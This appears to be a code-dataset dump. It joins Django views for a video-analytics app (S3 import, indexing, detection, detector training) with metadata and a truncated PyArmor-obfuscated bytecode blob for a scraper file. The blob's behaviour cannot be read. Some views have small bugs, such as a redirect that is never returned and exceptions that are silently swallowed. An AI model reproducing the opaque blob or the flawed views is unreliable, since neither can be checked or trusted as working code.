@user_passes_test(user_check) def import_s3(request): if request.method == 'POST': keys = request.POST.get('key') region = request.POST.get('region') bucket = request.POST.get('bucket') rate = request.POST.get('rate',defaults.DEFAULT_RATE) rescale = request.POST.get('rescale',defaults.DEFAULT_RESCALE) user = request.user if request.user.is_authenticated else None create = [] for key in keys.strip().split('\n'): tasks =[] key = key.strip() if key: extract_task = {'arguments': {'rate': rate, 'rescale': rescale, 'next_tasks': defaults.DEFAULT_PROCESSING_PLAN_DATASET}, 'operation': 'perform_dataset_extraction'} segment_decode_task = {'operation': 'perform_video_segmentation', 'arguments': { 'next_tasks': [ {'operation': 'perform_video_decode', 'arguments': { 'rate': rate, 'rescale': rescale, 'segments_batch_size':defaults.DEFAULT_SEGMENTS_BATCH_SIZE, 'next_tasks': defaults.DEFAULT_PROCESSING_PLAN_VIDEO } } ]}, } if key.endswith('.dva_export.zip'): next_tasks = [] elif key.endswith('.zip'): next_tasks = [extract_task,] else: next_tasks = [segment_decode_task,] tasks.append({'video_id':'__pk__', 'operation':'perform_import', 'arguments':{'key':key, 'bucket':bucket, 'region':region, 'source':'S3', 'next_tasks':next_tasks} }) create.append({'MODEL': 'Video', 'spec': {'uploader_id': user.pk if user else None, 'name': "pending S3 import {} s3://{}/{}".format(region, bucket, key)}, 'tasks': tasks }) process_spec = {'process_type': DVAPQL.PROCESS, 'create':create} p = DVAPQLProcess() p.create_from_json(process_spec,user) p.launch() else: raise NotImplementedError return redirect('video_list') @user_passes_test(user_check) def external(request): if request.method == 'POST': pk = request.POST.get('server_pk') try: pull_vdn_list(pk) except: pass context = { 'servers': VDNServer.objects.all(), 'available_datasets': {server: server.last_response_datasets for server in VDNServer.objects.all()}, 'available_detectors': {server: server.last_response_detectors for server in VDNServer.objects.all()}, } return render(request, 'external_data.html', context) @user_passes_test(user_check) def retry_task(request): pk = request.POST.get('pk') event = TEvent.objects.get(pk=int(pk)) spec = { 'process_type':DVAPQL.PROCESS, 'tasks':[ { 'operation':event.operation, 'arguments':event.arguments } ] } p = DVAPQLProcess() p.create_from_json(spec) p.launch() return redirect('/processes/') @user_passes_test(user_check) def delete_video(request): if request.user.is_staff: # currently only staff can delete video_pk = request.POST.get('video_id') delete_video_object(video_pk,request.user) return redirect('video_list') else: return redirect('accounts/login/') @user_passes_test(user_check) def rename_video(request): if request.user.is_staff: # currently only staff can rename video_pk = request.POST.get('video_id') name = request.POST.get('name') v = Video.objects.get(pk=int(video_pk)) v.name = name v.save() return redirect('video_list') else: return redirect('accounts/login/') @user_passes_test(user_check) def models(request): context = { 'visual_index_list': Indexer.objects.all(), 'index_entries': IndexEntries.objects.all(), "videos": Video.objects.all().filter(), "region_types": Region.REGION_TYPES, "detectors": Detector.objects.all() } detector_stats = [] context["detectors"] = Detector.objects.all() return render(request, 'models.html', context) @user_passes_test(user_check) def index_video(request): if request.method == 'POST': filters = { 'region_type__in': request.POST.getlist('region_type__in', []), 'w__gte': int(request.POST.get('w__gte')), 'h__gte': int(request.POST.get('h__gte')) } for optional_key in ['text__contains', 'object_name__contains', 'object_name']: if request.POST.get(optional_key, None): filters[optional_key] = request.POST.get(optional_key) for optional_key in ['h__lte', 'w__lte']: if request.POST.get(optional_key, None): filters[optional_key] = int(request.POST.get(optional_key)) args = {'filters':filters,'index':request.POST.get('visual_index_name')} p = DVAPQLProcess() spec = { 'process_type':DVAPQL.PROCESS, 'tasks':[ { 'operation':'perform_indexing', 'arguments':args, 'video_id':request.POST.get('video_id') } ] } user = request.user if request.user.is_authenticated else None p.create_from_json(spec,user) p.launch() redirect('process_detail',pk=p.process.pk) else: raise ValueError @user_passes_test(user_check) def detect_objects(request): if request.method == 'POST': detector_pk = request.POST.get('detector_pk') video_pk = request.POST.get('video_pk') p = DVAPQLProcess() p.create_from_json(j={ "process_type":DVAPQL.PROCESS, "tasks":[{'operation':"perform_detection", 'arguments':{'detector_pk': int(detector_pk),'detector':"custom"}, 'video_id':video_pk}] },user=request.user if request.user.is_authenticated else None) p.launch() return redirect('process_detail',pk=p.process.pk) else: raise ValueError @user_passes_test(user_check) def train_detector(request): if request.method == 'POST': args = request.POST.get('args') args = json.loads(args) if args.strip() else {} args['name'] = request.POST.get('name') args['labels'] = [k.strip() for k in request.POST.get('labels').split(',') if k.strip()] args['object_names'] = [k.strip() for k in request.POST.get('object_names').split(',') if k.strip()] args['excluded_videos'] = request.POST.getlist('excluded_videos') args['detector_pk'] = '__pk__' p = DVAPQLProcess() p.create_from_json(j={ "process_type":DVAPQL.PROCESS, "create":[ { 'MODEL':'Detector', 'spec':{ 'name':args['name'], 'arguments':json.dumps(args), 'algorithm':'yolo' }, "tasks":[ {'operation':"perform_detector_training", 'arguments':args, }] } ] },user=request.user if request.user.is_authenticated else None) p.launch() return redirect('process_detail', pk=p.process.pk) # elif request.POST.get('action') == 'estimate': # args = request.POST.get('args') # args = json.loads(args) if args.strip() else {} # args['name'] = request.POST.get('name') # args['labels'] = [k.strip() for k in request.POST.get('labels').split(',') if k.strip()] # args['object_names'] = [k.strip() for k in request.POST.get('object_names').split(',') if k.strip()] # args['excluded_videos'] = request.POST.getlist('excluded_videos') # labels = set(args['labels']) if 'labels' in args else set() # object_names = set(args['object_names']) if 'object_names' in args else set() # class_distribution, class_names, rboxes, rboxes_set, # frames, i_class_names = create_detector_dataset(object_names, labels) # context["estimate"] = { # 'args':args, # 'class_distribution':class_distribution, # 'class_names':class_names, # 'rboxes':rboxes, # 'rboxes_set':rboxes_set, # 'frames':frames, # 'i_class_names':i_class_names # } else: raise ValueError
[ "akshayubhat@gmail.com" ]
akshayubhat@gmail.com
d7bc7be55fcb069aa6908eba6a0906492f5702d9
1e21fa1a3a8f723586ba09e8bcad695c81c104b3
/scraping/spiders/valextra.py
d4672039116268a4d75f448b33cd6bbd25d90bdc
[]
no_license
plustry/Tool_Updater
13f66c1c10d70894cda52f1e0f50eacaf5953ce9
444b73f4fdc8c94d646d4c2bb4184760e1ef3a3a
refs/heads/master
2021-08-20T04:52:08.335313
2021-07-27T05:34:44
2021-07-27T05:34:44
235,749,321
0
0
null
null
null
null
UTF-8
Python
false
false
19,891
py
from pytransform import pyarmor_runtime pyarmor_runtime() __pyarmor__(__name__, __file__, b'\x50\x59\x41\x52\x4d\x4f\x52\x00\x00\x03\x06\x00\x33\x0d\x0d\x0a\x03\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00\x14\x13\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x50\x8c\x64\x26\x42\xd6\x01\xf3\x0d\x68\x2c\x25\x9f\x19\xaa\x05\x4c\x7b\x3c\x45\xce\x39\xce\x23\x2c\x6a\xdc\x14\x16\x0b\x36\xbe\x03\x37\xb6\x1b\x3c\xd6\x16\xcc\xf8\x39\x4a\x57\xe4\x9a\x21\xfa\x71\x85\xeb\xb8\x0e\x77\xf2\x92\x78\xf9\xdb\x8c\xa0\x86\xba\xc4\xd0\xd1\x7f\x7d\x9f\xe4\x4e\xd4\x79\xc5\xf6\x5d\xf4\x5d\x7d\x15\xe1\x15\x65\x8a\xc9\x8a\x6e\xab\x6a\x6b\x19\xc4\xc2\x36\x6e\xb6\x62\x61\xc0\x3c\x8b\x14\x0d\xa2\x75\xad\xc1\xab\x30\xcf\xb9\x05\x77\x7e\xc8\xf7\x20\xbd\x9a\x62\x86\xbb\xa8\xa9\xc5\xd0\x82\x16\x5c\x8f\xd2\x63\xba\x1a\x2b\x02\x32\x0f\x92\x8a\xb8\x45\xc7\xe5\x59\x60\x7d\x2d\x25\x8e\x2d\x7e\xb4\x9b\x8b\xc7\x3d\x4a\xa4\x04\x2d\xa1\x57\xf3\xce\x62\xdb\x15\xbc\x59\x1b\x90\x31\x9e\x91\x89\x71\x91\x3d\xac\x2c\x0d\x6e\x2e\x18\xce\xb1\xf3\x07\xa2\xa0\xd3\x9f\x8e\x69\xf5\x7f\x8a\x39\xd1\xd3\xdb\xc3\x4a\xa4\x6a\xb2\xe0\x7c\xe3\x6e\x61\x81\xad\xc4\x3a\xb8\xa9\xba\xdf\x50\x53\xc9\x2d\xcc\x24\x59\x30\x9d\x4d\xe4\xd4\xc9\x87\x65\x49\x89\xad\x95\xc4\xc2\x74\x8a\x6b\x32\x4d\x85\x16\x08\xfa\x69\xa9\x60\x58\x6c\xc0\x62\x72\x30\xc6\xb2\x7b\xd3\x3b\x82\xb9\x18\xd9\xe0\xfd\x41\xd8\xee\x6a\x5d\xb6\x2f\x8c\x38\xd7\x1a\xd0\xef\x77\xe2\x15\xef\x10\xf1\xab\x22\xcb\xe4\xa9\xf0\xc8\xf9\xc5\x98\x5d\xe2\xc5\xd7\xbd\xdc\xda\x0e\x18\x0a\xcf\x03\xb1\xbe\x47\xbc\x8c\x71\x57\x21\x5d\x17\x0d\xf1\x47\x71\x38\x43\x8e\x49\xc8\x16\x32\xef\x5d\x35\x42\xa6\xaa\x69\x21\x8b\x70\x3c\xff\xb0\xb0\x3f\xb2\x08\x40\xc9\x87\x54\xd7\x1c\x6e\x94\x86\x70\x67\x06\xf3\x0a\x8d\x0a\x45\xeb\x5c\xb2\x79\xa2\x73\xd4\xb7\xf8\x24\xf5\x96\x18\xa2\x64\x10\x5f\xc0\xb7\x4c\x4b\x90\xf0\x17\xf3\x69\x1f\xcd\xf0\x9e\xf4\x7c\x7c\x48\x74\x82\x9e\xd2\xef\xa6\xbc\x45\x53\xbb\xba\xc3\x98\x6b\xe4\xf5\xab\x2d\xa6\xfc\xf7\xf2\x59\x78\xa2\x03\x10\x90\xfc\x47\x14\x2b\x6a\x7d\x04\x87\x5e\x47\x3b\x8f\x5c\xb5\x52\x66\xfd\x8c\xb1\x61\x5d\x31\x9d\xae\xe5\xdc\x94\xf9\x3c\x0d\x87\x57\xd2\xd3\xef\x1e\xf4\xd4\x4b\x6d\x4d\xcf\x86\xba\x40\x7a\x5b\x5a\x2e\xa2\xd2\x06\xfb\x54\x68\x63\xf5\xdd\x18\x56\x90\xd2\xf7\x82\xf1\x99\xef\x1f\xcf\x2f\x5a\x45\xdd\x47\xe6\xf8\x53\x1f\xcf\xbe\x01\x9e\x8c\x16\xa0\xf9\xb8\x08\xcd\x82\x30\x24\x85\xff\x4d\xca\x88\x65\x71\x46\xa0\x9e\x38\x55\x64\xdf\xd0\x8f\x17\x26\x75\x69\x4e\x85\x9d\x62\xfe\x38\x9b\xbd\x28\x95\xb8\x1a\xd2\x7b\xab\xb9\x8b\xd0\x8a\x56\xc2\x51\xe5\x52\xaa\x94\x6d\x7c\xb2\xb5\x3a\x3c\xfb\x88\xb7\x70\x3f\xe0\x13\x32\xd1\xb7\x59\x5f\x1b\x8b\xa3\xcb\xf7\x49\x37\x75\x9a\xac\x25\xb7\xa8\xa3\xc7\x2f\xe2\xbe\xb6\x1f\x6f\x98\x4a\xe1\x6c\x6f\x93\x96\x40\xca\xf5\x99\x46\xfc\xe7\x3e\x66\x94\xe4\x6e\xa1\x52\x68\x26\x6a\x5b\xc1\xa8\xc2\x21\xcf\x6e\xd4\x70\x16\xbe\xd0\x57\x45\x90\x37\x46\x4b\x41\xac\x83\xc4\x1f\x24\xe4\x33\xf2\x9d\xb1\x7e\x82\x7e\x52\x74\x39\xe1\xcb\x23\x97\x8f\xa1\x47\x58\xfa\x45\x7a\x9a\x8e\x02\x18\xed\x7d\x22\x5d\xd0\x1e\x12\x84\xb7\x4f\x84\x9e\x4b\x16\x77\x16\x1f\x68\x09\xbe\x02\x45\x96\x9d\xec\xc9\x7f\x3b\x52\xbb\x3c\x61\x19\x3b\xa9\xb2\x44\xf7\xc6\xf9\x6b\xc5\xb1\x96\x2b\x50\x02\x33\xf3\x45\xfc\x1d\x2a\x14\x5a\x25\x9d\x12\xa4\x51\x0f\x61\x70\x58\xc4\x7e\xdd\xcc\x13\xb0\x47\xdd\xae\x19\xca\xa9\x94\x42\x3e\x49\x14\x2a\xa9\xc8\xba\x0f\x4b\x85\xbc\xa4\xfb\x01\x68\x51\x1b\x60\x59\xbb\x2c\x0c\x47\xa4\x9e\xea\xe3\x44\x96\xff\x3b\xe1\xd2\x38\x58\x62\x5f\xae\x37\x0b\xcb\xbe\x19\xe2\x82\xe0\x3d\x43\x76\x93\x05\xb3\x41\xfd\x4b\xd2\x35\x2d\xe1\x32\xa1\xfa\x5c\x75\x3a\x17\x84\x5f\xb7\x38\x60\x5d\xf8\x5c\x7a\x25\xb9\x16\xb1\x1a\x27\x38\x67\xff\xcb\x0c\xdc\x61\xcb\x65\x3e\x8c\xff\x17\x84\x5a\x0b\xfc\x44\xc2\x17\x85\x27\x27\x19\x1d\x28\x47\x4f\xf6\x06\xc7\xd0\x72\x10\x56\xff\x87\xe0\xfc\x18\x26\x93\x82\xe5\x3e\xff\xf5\x6c\xc0\xb3\x3f\x17\x2d\x8a\x9a\xb9\x1a\x80\x61\x2e\x73\x96\x2a\x94\xf8\x48\x5e\xda\xf7\xd0\x48\x8f\x3a\x59\xa0\x5e\x0c\xca\xef\x33\x16\x1c\xbb\xa4\x5e\xb7\xb1\xc5\x30\x22\xb3\x4a\xd9\x50\x96\xbf\xa2\x97\x46\x8a\x42\xaf\x10\x48\x7a\x2f\x7e\x9f\x6d\x7e\x16\xa9\x28\x98\x28\x80\x60\x91\x21\x91\x16\x66\xbb\x12\xfd\x02\x1e\x6b\x02\x9f\x8c\x03\x67\x58\x73\x92\xe2\x35\x97\x24\x1e\xdb\xd9\x4b\x35\x03\x58\x20\x31\xda\x7c\xa1\x18\xcb\x3a\xd0\xe9\xc1\x74\xe1\x8b\x11\xe4\xe6\xae\x64\x3f\xd9\x59\x70\x26\xe3\x21\x31\x11\x47\x43\x2b\x40\xeb\x75\x0e\xd6\x9e\xd4\x84\xaf\x58\xe4\x90\x0c\xaa\x75\x69\x39\xc4\x58\x57\x8c\xdf\x32\x2b\x75\xed\xff\x27\xaa\x7c\x98\xa4\x93\xf8\x28\x7d\xa5\x25\x0e\x5b\x98\x1d\x63\xaf\xb0\x39\x5e\xfd\x79\xbf\x04\x78\x37\x45\xd3\x71\x7b\xe5\xf4\xe8\x7b\x5e\xbf\x48\x2c\x31\x2e\x6c\xe7\x34\x7f\xdc\x85\xcc\xe6\x79\xea\x23\xf6\x5b\x73\xe6\xa5\x0f\x30\xa0\xf7\xf7\xc3\xfe\x7c\x00\xfc\x53\xeb\x1d\xa8\xa7\xab\x63\x30\x05\x86\xb1\x42\xac\x2f\x35\xf6\x20\x83\x0b\xd7\x77\x53\x3e\xd2\xd8\xc7\x78\xc5\x04\x8e\xa8\xe2\xd8\xd0\x63\x50\x3d\x00\x4c\x98\x08\x17\xff\x74\xad\x6c\xf4\x88\x77\x52\x91\x71\xb1\x71\x36\x30\x1f\x21\x32\x26\x04\xaa\xaf\x01\x4e\xad\x43\x5e\x98\xea\x01\x1a\x5a\xea\x50\xa3\x68\x52\xea\xa3\x7e\x2b\x9c\x0b\xfc\xd8\x0c\x4d\xac\xfd\xe5\x6c\x97\xe3\xbb\x0d\x2f\xda\xe2\xcd\x97\x10\xb0\x6d\xcd\x67\x32\x70\x0b\x4a\x22\x7b\x0c\xd7\x28\xd0\x10\x5e\x02\x6b\x2b\x72\x4d\x5e\x2b\xd1\xb5\x18\xd4\x4c\x35\x6d\xbd\x9e\x45\x8a\xc1\xdd\x3a\x11\x3a\xeb\x60\x9f\x37\xd3\xc7\x97\x86\x94\xcd\x95\xcf\xf5\x86\x7f\x7a\x5c\x19\x04\x64\xfc\xf2\x6b\x62\x48\xfd\x69\x78\xc5\xcf\x12\xd4\x37\xe9\x5f\x24\x92\x85\xd4\x6d\xbb\x41\xd7\xd5\x9e\x2d\x7a\xf2\x0e\xfe\xcc\x8a\xc0\xc0\xdb\xec\x46\x7c\x01\x67\xc7\xb7\xdd\xa4\xe4\x38\x14\x0c\xe4\x39\x45\xd4\xa5\xe7\x8b\x51\xbe\x6e\x02\x46\x88\x0a\x6e\xa8\x0e\x88\xfc\x85\x44\x7a\xb6\x3d\x26\xf9\x9e\x6c\x11\xcd\x9d\xd3\xfc\xe2\x4c\x94\x70\xb2\x07\x8a\x96\xb7\x6b\xe6\x69\xee\xf9\x4c\xd8\xdb\x9b\x12\x24\x5e\xa1\x79\xbb\x80\xe7\xc4\x13\x35\xbd\x60\x3c\x1d\x66\x38\x3d\xef\x00\xf2\x9c\x15\xec\xee\x3c\x8d\x49\xd0\x16\xc8\x60\x01\x72\x61\xd4\xb5\xba\x7c\xce\x49\xb7\x12\x6a\x3e\x71\x3f\x79\xc6\xb0\xee\xbd\x0e\x58\xcd\x09\x49\x38\xcd\x48\xe9\xcb\x17\x92\x3e\x2a\xda\xba\xf6\xb6\x44\x76\x3e\x02\x30\xd6\xed\x86\x3d\x50\xe4\x9c\x02\xd2\x68\x33\x50\x1e\x36\x76\x61\x4a\xb2\x4c\x2c\x07\x6d\x64\x0f\x30\xc1\x08\x30\xa0\x61\xbb\xfd\x38\x7f\x74\xd3\xdb\x7d\xb1\xb2\xab\x59\x59\xa7\x8f\xe7\xaa\xbb\xe6\xc5\x5c\xec\x9a\x81\x73\x4c\x27\x4c\x47\xa7\x18\xac\x4b\x8a\x6c\x5a\x08\xe5\xc9\xd7\x35\x5f\xdf\xa6\x6d\xb3\x35\x48\xa1\x9e\x77\x27\x56\x50\x07\xf5\xfe\xf5\xfa\x03\xf6\x3d\x04\x06\xe1\x91\xb2\xe5\x22\x51\x4a\x6c\x6b\x43\x98\x0a\xb2\x6f\xf1\x84\x17\x30\xcf\xef\x62\xea\x45\x14\x79\xa2\x56\x3b\xf9\x38\x7d\xe1\x07\xf9\x84\x1d\xc3\x56\x80\xeb\xde\x6c\xc9\x69\x6f\x55\xe1\xe9\x2d\xa5\xd6\xd1\x44\xe0\xe3\xea\x15\x79\x1b\xe5\xde\x2d\x78\xba\x03\xd6\x49\xdd\xb8\x66\xc1\x7b\xfa\xc6\x07\x17\x92\x9f\x52\xb8\x0f\xd7\x83\xb8\x2c\xc5\x07\x3e\xe1\xce\xfd\x5a\xa8\x94\x14\xdc\x5f\x35\x60\x2b\x66\x58\x11\x9c\x55\x86\xd1\x09\x4f\xf1\x05\x32\x3d\x6a\xe4\xe0\xde\xe5\xfb\x27\xfa\xd4\xd2\xcd\x95\x8f\x50\x1e\xa3\x87\xb6\xae\xde\x8c\x22\x2b\xaf\x2d\x5e\x6b\x12\xba\x34\x9c\xd1\x05\x87\xef\xa6\xf4\xc4\x4e\x9b\x27\xa6\x7f\x3f\xe5\xdb\xc4\x64\x62\x77\x1b\x0f\x5c\xe6\x20\xa1\x8e\xfd\x3f\x66\xfd\x7f\x6d\x69\x7d\xc0\xdf\x31\x40\x75\x95\x42\x9e\x4e\xb3\xdc\xe3\x2d\x90\x3b\xf8\x7f\xf0\x22\xef\x9a\xdd\xa8\x83\x94\x91\xd0\x30\x23\xb8\xe8\x89\xb9\x44\xbc\x6d\x3d\x33\x4b\xe5\xe7\xa3\x9a\x97\x2f\x4b\x04\x89\xbc\x0b\x2f\x3e\x88\xd0\x71\x1c\xf0\xc6\xc6\xe6\x30\x1e\x21\x07\x39\x27\x7e\x87\x3f\x63\x7b\xcb\x77\x3e\x5f\x07\x24\xb3\x04\xc7\xc9\x2d\xd6\x9b\x91\x09\x1e\x86\x8b\x40\x90\xd7\x5b\xf8\xe5\x70\xfe\xdc\x0b\xf7\x07\x57\xcc\x46\xef\x85\x2b\x6d\xb0\x12\x63\x4d\x47\x32\xf4\x02\xd8\x29\x1a\xa2\xc4\x0b\x20\x4b\xde\x9b\x61\x16\x80\x56\x45\x23\x4a\xea\x03\xb1\x6b\xd3\x31\x4c\x3a\x60\x9b\xb3\x5f\x7a\x6a\xa4\x19\xb6\x3b\x44\xae\xd5\xb5\xf0\xe2\x9b\x72\x8d\x39\x31\x1e\xf4\x3c\xd3\xa6\x42\xc3\x89\xe1\x25\x80\x46\x10\x41\xbc\x28\x2e\x70\x4f\xbd\x7f\xad\x04\x28\xd8\xb7\xc8\xb2\xe8\x37\xab\xbc\xfc\xf1\x49\xdc\xef\xf1\xdd\xd7\x4a\xd5\x68\x77\x00\x85\x92\xef\x7d\x2b\x0e\xf4\x3c\x82\xdb\x3e\xdd\xee\xaf\xaf\xf7\xcd\x84\x5f\x82\x8c\x5c\xca\x86\x1f\x17\x52\x56\xce\xf9\xad\x41\xbc\x5d\x1c\xdb\xb2\xfb\xdd\x1f\xd6\x41\xc6\x0a\x68\xf0\x46\xcc\x71\x1a\x05\x64\x42\x9e\x39\x1e\x84\x95\x2e\x99\x5a\x25\x16\xe3\x17\x6d\xda\x26\xc9\x1a\xdb\x56\x56\x9b\x11\xcc\x35\x51\xe9\x4c\x33\x40\x7f\x61\xeb\xf2\x56\xc7\x1f\x08\xa1\xf6\x81\x46\xe2\xc2\x82\x5f\x99\xac\xa1\x74\x38\xb2\xcb\x2c\xae\xba\x17\x13\xca\x60\xf1\xaa\x4a\x9e\x7e\xad\x5c\x77\xea\x2e\x2c\x00\x33\x66\xbb\x47\xbf\x52\x07\x81\x63\xc5\x17\xd3\x06\x6d\xd4\x46\x2b\x71\xb2\xaa\xc5\x1a\xe7\x2e\xc4\x05\x5b\xc8\x26\x4b\x03\xf4\x30\x3f\x49\xcf\x6d\x74\x51\x89\x0c\x63\x60\x05\xad\xec\xc6\x6f\x88\xeb\xf0\xa4\x23\x14\xd8\x67\xe6\x6b\x22\xdb\x97\x9c\xb1\x4a\x68\x92\x85\x47\x43\xf2\x40\x41\xef\xd8\x1a\xeb\x57\x5e\xf6\x8a\x4e\x81\x03\x31\xa0\x7a\xa4\xec\x60\xdf\x1d\x3b\x07\x7b\x08\xfc\x2a\x3d\x39\x46\x69\x8a\xfc\x1e\xe2\x6b\x94\x2d\x8a\xec\x54\xb4\x6a\x37\x5a\xe5\x16\x3c\x14\xa8\x50\xad\x39\x52\xaf\x15\x09\xb6\xfd\x99\x67\x85\x7f\x3a\x2f\x29\xad\x43\x89\x9b\x21\xb3\x3f\xce\x7f\x5b\xe8\x50\x2f\x5f\x73\x02\xe0\xc1\x7b\x32\x57\xa1\x0b\x66\xde\x84\xbc\x2d\x2f\xf6\x19\x83\x98\x5d\xfb\x99\xe0\xc1\xf2\xa4\xa4\x7b\xb9\x89\x18\x7e\xd6\x76\xf3\x2f\x33\x5b\x1e\xa7\x7d\xde\x90\x28\x0a\x09\xb6\x0d\x20\x85\xf4\x38\xfc\xfa\x43\x72\x97\xd8\xd5\x54\x51\xbd\x8f\x6f\xf0\xbf\x42\x4a\xf5\xbf\xa7\x36\x9c\x4c\x96\x51\x4b\x5f\x8d\x07\xfc\x9f\xf5\x3c\x33\xa8\xb2\x10\x9a\xa1\x42\x8d\x30\xb7\x3e\x65\x6a\xcf\xc2\xa9\x1e\x27\xad\x36\xdf\xba\xd9\x34\xc5\xef\xc6\x3a\xbf\x06\x48\x78\x86\x4f\x72\x57\x56\xae\x6b\x0d\x0a\x9e\x17\x5e\xb7\xea\x2b\xdc\xdf\x85\x65\xd6\x46\x24\x25\xd8\xd5\x95\x5e\x68\x15\x63\x67\x95\x11\xf9\x22\xa7\x6e\x28\x26\x99\x33\xf7\xad\xa2\x58\xe1\x12\xb8\xd3\xa9\xc1\xe6\x4a\x08\x6a\x4d\x18\x16\x43\x35\x85\x84\xd6\x4a\x78\xad\xf1\x32\x6c\xa1\x22\xe9\x7a\xe6\xbe\x86\x79\x68\x08\x84\xb5\xde\x11\x81\x48\x06\x4f\x20\x2f\x75\xc8\x64\x18\x89\xcf\xa5\x11\x87\xff\xcc\x4f\xcc\x84\x49\x1f\x8f\x3c\xfd\x33\x52\x55\x0a\x19\xd2\x28\xd8\x53\xbf\x4b\x9d\x5a\x1f\x51\x24\x08\x2a\xaa\x74\x11\x36\xf6\xd3\x1d\x09\xbc\x34\x7f\xe8\xb4\x4e\x2c\xb7\x6f\x3a\x12\x61\xfc\xb6\xfe\x90\xb8\x00\xa7\x8f\xe5\x5e\x77\x83\xd4\xc3\x14\x05\x25\xa0\x59\x98\xbb\x63\x18\x7c\xf4\x80\x9c\x84\x0c\x7b\x58\x7e\x94\xb3\x90\xa4\xa9\x8f\x81\xda\x12\xe0\x7b\xea\x71\x0b\x8a\xb9\xdf\xab\x89\x31\x17\x0e\xfd\x47\x8c\x7d\xfd\xbc\xef\x5a\xe3\x52\xba\x06\xa7\xc4\x9f\x7d\x9b\xa5\x72\x48\xa5\xa9\x7a\x56\x9a\x5c\x84\x63\xec\xc9\xcd\xf4\xf4\xbb\xd7\x75\x20\x5c\xe0\x1b\x6f\x93\xf5\x88\x96\x85\xf1\x28\x64\x3a\xce\x7e\x6d\xa7\x0e\x87\xf2\x08\xbc\x3a\x6b\x00\x57\xf0\x88\xfa\x75\x87\x0b\xaa\x18\x5f\x6c\x2f\x37\xa3\x48\x5b\xee\x98\x75\x53\xd5\xb8\x2d\xd5\x5d\x50\xee\x9e\x08\x51\x95\x14\x36\x3e\x16\x0f\x56\x1e\xac\x7e\x60\x36\x63\xaf\x1c\x14\x1f\x26\x1b\x67\x24\xf9\x51\xea\xa7\xcd\xa8\x2d\x49\x75\xb1\x4a\x81\xb3\xcf\x73\xef\xe2\x4e\x84\x8a\x52\xab\x2f\xe2\xd8\x88\xf9\xa4\xe8\x25\xcf\x33\xd8\x77\x38\x5c\x33\x79\x01\xda\x0a\x36\xbb\x3e\xad\x7c\x5b\x2b\x4e\xfa\xe5\x1f\x05\xcd\xd6\xec\xb7\x9f\x1a\xbe\xc0\x3f\x33\x88\x30\x15\x40\x34\x25\x01\xfb\xcd\xc4\xf5\xa7\x8e\xfb\x12\x00\x19\xa9\xf1\x77\x17\xf1\x10\x9a\xb9\xaa\x7c\x23\xd7\x4a\xe6\xe1\x50\xfe\x48\xcd\xaf\x77\x0b\xde\x7b\x29\xf6\xd8\xd6\xd8\xac\x2b\x2d\x06\xc5\x6a\xdf\x27\x7b\x41\x64\x0f\xa5\xe9\x77\xef\xc2\x3e\x07\x10\x6f\xf0\x0b\xea\x80\x9c\x47\x79\xb1\x08\x44\x1b\x68\xc2\xd1\xe9\x7e\xbc\x23\x4f\x83\x87\xc8\xd4\x80\x1f\x8b\x93\x6b\xbe\x62\x09\x04\x26\xfb\x77\x24\x68\x8b\xd5\xb2\x2c\x05\x97\x2d\xfe\x0e\xa2\x98\x7d\xd4\x83\x76\xd8\x38\xfa\xe4\x0a\xf5\x64\xc0\xec\x4a\x83\xbd\xa4\xba\xd3\x3a\xd3\x2f\xdd\xbc\x89\x4b\x38\x36\xbb\x80\x81\xd8\x04\xaf\xe8\x54\x34\xa7\x5b\xeb\x84\x71\x9a\x44\x1a\x85\xbd\x1f\x6b\x3f\x8d\x96\x8e\xcb\xd8\xfb\xa8\xa2\x2b\xb6\xff\xfa\x42\x35\x8e\x47\x17\x13\xfe\x97\x9c\x2c\x9a\x2a\xb6\x90\x3f\x13\xcb\xff\x0c\x93\x9d\x08\x37\xee\x1f\xda\xf9\x61\x9e\x4d\x6b\xe4\xf7\xb6\xd2\xca\x19\x61\xce\x22\xe2\x01\x9d\x2c\xd8\x3b\xb1\xc0\x9a\xeb\xb6\x6b\x58\xb1\xd0\x8e\x41\xdf\xac\x4e\x7c\x80\x9a\xf0\x30\x34\x1d\x15\x29\x0e\x39\x26\xff\x5d\x7e\x7e\x46\x1f\xd9\xe7\xa9\xc4\xf0\xf7\xf3\xdd\x73\x2b\xb1\x47\xdc\x6f\x8b\x39\xe6\xb6\x8d\xae\x80\xb4\xde\x16\x9f\x69\x9e\xa1\x90\x39\x90\x2a\x27\x00\xc1\x28\x72\xd4\x4d\x11\x16\xd4\x8a\x0e\xf1\x8a\x31\x39\x51\x23\xf2\x0a\xe6\x56\x71\x8a\xb8\x74\x58\x2b\x9b\xb8\x2e\xad\x3b\x1c\x75\xad\xe2\xf1\x43\xa9\xbb\x88\x5f\x6e\xa1\x42\x19\xb5\x17\xfc\x6f\x49\x1e\x69\x4f\xbd\x9c\x2c\x2c\x75\x6b\x13\x7e\xfd\x44\x6c\x8c\x2f\x4a\x1e\x98\x7f\x7a\x8e\x5d\x5a\xe5\xbd\x11\x9d\xcc\x08\x3a\xf8\xf7\x8c\x68\x73\x6b\x1f\x79\x60\x9a\x9c\x9e\x9f\x6a\xf2\xdb\xc9\xe1\xc2\x08\x66\x48\x09\xf6\xd2\x61\x53\x39\xe5\xdc\x90\x86\x85\x29\x0b\x1b\x62\x2a\x97\x1f\xa9\x4e\xe2\xb0\xa2\xb0\xa5\x64\x36\x48\xcc\xdd\x2f\x7a\x5a\xcf\x32\xfe\x1e\x20\x2d\x83\x6d\x40\xaa\xe9\x82\x74\xaf\xb8\x4e\xe1\xd4\xc4\xfc\xc9\x05\xe4\x80\xdc\x8a\xe9\x3b\xc2\x48\x65\xb5\xea\x9e\x47\xc3\x13\xb5\xab\x73\xb8\xf9\x4e\x50\xa1\x09\xf4\xea\x16\x1f\xbf\xee\x3d\x81\x59\x9f\x4d\xca\xe5\xe2\xa9\x2e\xe0\xa4\x84\xe9\xbd\x04\x93\x0c\x8d\x99\xf5\x42\x3d\x3e\xc9\x80\x64\x32\xd9\x80\x3f\xa5\x37\x52\xee\x5a\xab\x94\x50\x45\x11\x5f\x88\x09\x6a\x13\x7f\x55\x6a\x66\xa7\xaa\xe2\x75\x7d\x5c\x9f\x3e\x55\x33\xcd\xd0\xdf\x29\x51\x9e\x31\xff\xfe\x06\xcf\x77\xc9\xc1\xcd\xc4\x86\xbf\x02\x6c\x58\x89\xc8\xf3\x58\x30\x97\x3e\xc2\x76\x1d\xed\x19\x69\x8c\x24\x6f\xcc\x09\x22\x23\x